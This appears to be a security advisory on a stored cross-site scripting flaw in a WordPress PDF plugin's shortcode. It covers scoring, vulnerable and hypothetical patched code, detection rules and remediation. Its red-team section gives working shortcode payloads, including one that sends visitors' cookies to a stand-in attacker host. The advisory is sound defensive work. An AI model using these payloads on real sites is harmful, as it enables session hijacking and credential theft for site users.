CVE-2024-10891

Executive Summary

CVE-2024-10891 is a Stored Cross-Site Scripting (XSS) vulnerability in the Save as PDF Plugin by Pdfcrowd for WordPress, affecting all versions up to and including 4.2.1. The flaw resides in the plugin's save_as_pdf_pdfcrowd shortcode, where user-supplied attributes are insufficiently sanitized and escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators or site visitors) accesses a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or credential theft.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used plugin for PDF generation, and the stored nature of the XSS means the payload persists until manually removed. No public exploit code or patch is currently available, increasing the risk for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Pdfcrowd). Since no patch is available, consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the lack of a patch elevate the real-world risk. Attackers can compromise multiple users with a single injection.

Deep Dive & Mechanics

The vulnerability is triggered via the save_as_pdf_pdfcrowd shortcode. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., class, style, or custom data attributes) before rendering them in the HTML output. An attacker with Contributor-level access can craft a shortcode like:

[save_as_pdf_pdfcrowd class="test\" onmouseover=\"alert('XSS')\""]

When the shortcode is processed, the unsanitized attribute is injected directly into the page's HTML, allowing arbitrary JavaScript execution. Because the payload is stored in the WordPress database (via the post/page content), it executes for every visitor to that page.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of esc_attr() or similar escaping functions on shortcode attributes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.2.1):

// In pdfcrowd-save-as-pdf.php or similar
function pdfcrowd_shortcode_handler($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
    ), $atts);
    // Direct output without escaping
    return '<div class="' . $atts['class'] . '" style="' . $atts['style'] . '">...</div>';
}

Patched Code (Hypothetical):

function pdfcrowd_shortcode_handler($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
    ), $atts);
    // Properly escape attributes
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    return '<div class="' . $class . '" style="' . $style . '">...</div>';
}

The patched version uses esc_attr() to neutralize any malicious characters in the attribute values, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Save as PDF Plugin by Pdfcrowd <= 4.2.1
• Authenticated user with Contributor-level access or higher

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious payload:

   [save_as_pdf_pdfcrowd class="test\" onfocus=\"alert(document.cookie)\" autofocus=\"true\""]
   

4. Publish the post.
5. When any user (including admins) visits the post, the JavaScript executes, stealing cookies or performing other actions.

Alternative payload (steal cookies):

[save_as_pdf_pdfcrowd class="x\" onmouseover=\"fetch('https://attacker.com/steal?c='+document.cookie)\""]

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for suspicious shortcode usage.
• Scan posts/pages for unusual shortcode attributes containing event handlers (e.g., onmouseover, onfocus).
• Use a Web Application Firewall (WAF) to block requests with XSS patterns in shortcode attributes.

Hardening:

• Disable the plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/save-as-pdf-by-pdfcrowd/pdfcrowd-save-as-pdf.php (vulnerable version)
• Shortcode pattern: [save_as_pdf_pdfcrowd class="..."] with event handlers like onmouseover, onfocus, onclick
• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages
• Logs: WordPress debug logs showing unexpected shortcode attribute values

Detection Engineering

YARA Rule

rule CVE_2024_10891_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Save as PDF Plugin by Pdfcrowd"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10891"
    strings:
        $shortcode = /\[save_as_pdf_pdfcrowd\s+[^\]]*?(on\w+\s*=|class\s*=\s*\"[^\"]*?\\\")/ nocase
        $event_handler = /on(mouseover|focus|click|load|error)\s*=\s*\"[^\"]*?\(/ nocase
    condition:
        $shortcode or $event_handler
}

Sigma Rule

title: CVE-2024-10891 Stored XSS via Pdfcrowd Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the save_as_pdf_pdfcrowd shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "save_as_pdf_pdfcrowd"
        http.url|re: "on(mouseover|focus|click|load|error)="
    condition: selection
falsepositives:
    - Legitimate use of shortcode with benign attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10891 Stored XSS via Pdfcrowd Shortcode";
    flow:to_server,established;
    content:"save_as_pdf_pdfcrowd";
    pcre:"/on(mouseover|focus|click|load|error)\s*=\s*\"[^\"]*?\(/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict user roles – only allow trusted users to have Contributor-level access or higher.
3. Implement a Web Application Firewall (WAF) with rules to block XSS patterns in shortcode attributes.

Long-term Fix:

• Apply the vendor patch when released (currently UNKNOWN).
• If you have development resources, manually patch the plugin by adding esc_attr() to all shortcode attribute outputs in pdfcrowd-save-as-pdf.php.

Workaround:

• Use a security plugin (e.g., Wordfence) to block malicious shortcode patterns.
• Regularly audit posts/pages for suspicious shortcode usage.

Valters IT